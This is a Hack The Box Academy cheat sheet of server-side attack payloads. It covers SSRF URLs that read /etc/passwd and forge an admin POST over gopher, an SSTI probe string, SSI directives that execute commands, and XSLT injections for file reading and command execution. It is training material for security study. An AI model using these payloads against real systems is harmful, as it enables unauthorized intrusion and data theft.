HACKTHEBOX

SERVER-SIDE ATTACKS
CHEAT SHEET

HTB ACADEMY CHEATSHEET

SSRF

Exploitation	
	internal portscan by accessing ports on localhost
	accessing restricted endpoints
Protocols	
	`http://127.0.0.1/`
	`file:///etc/passwd`
	`gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin`

SSTI

Exploitation	
	Templating Engines are used to dynamically generate content
Test String	
	`${{<%[%'"}}%\.`

SSI Injection - Directives

Print variables	`<!--#printenv -->`
Change config	`<!--#config errmsg="Error!" -->`

Print variables	`<!--#printenv -->`
Print specific variable	`<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->`
Execute command	`<!--#exec cmd="whoami" -->`
Include web file	`<!--#include virtual="index.html" -->`

XSLT Injection

Elements

`<xsl:template>`	**This element indicates an XSL template. It can contain a `match` attribute that contains a path in the XML-document that the template applies to**
`<xsl:value-of>`	This element extracts the value of the XML node specified in the `select` attribute
`<xsl:for-each>`	This elements enables looping over all XML nodes specified in the `select` attribute
`<xsl:sort>`	This element specifies the node to sort elements in a for loop by in the `select` argument. Additionally, a sort order may be specified in the `order` argument
`<xsl:if>`	This element can be used to test for conditions on a node. The condition is specified in the `test` argument

Injection Payloads

Information Disclosure	
	`<xsl:value-of select="system-property('xsl:version')" />`
	`<xsl:value-of select="system-property('xsl:vendor')" />`
	`<xsl:value-of select="system-property('xsl:vendor-url')" />`
	`<xsl:value-of select="system-property('xsl:product-name')" />`
	`<xsl:value-of select="system-property('xsl:product-version')" />`
LFI	
	`<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />`
	`<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />`
RCE	

Information Disclosure

```
<xsl:value-of select="php:function('system','id')" />
```


HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET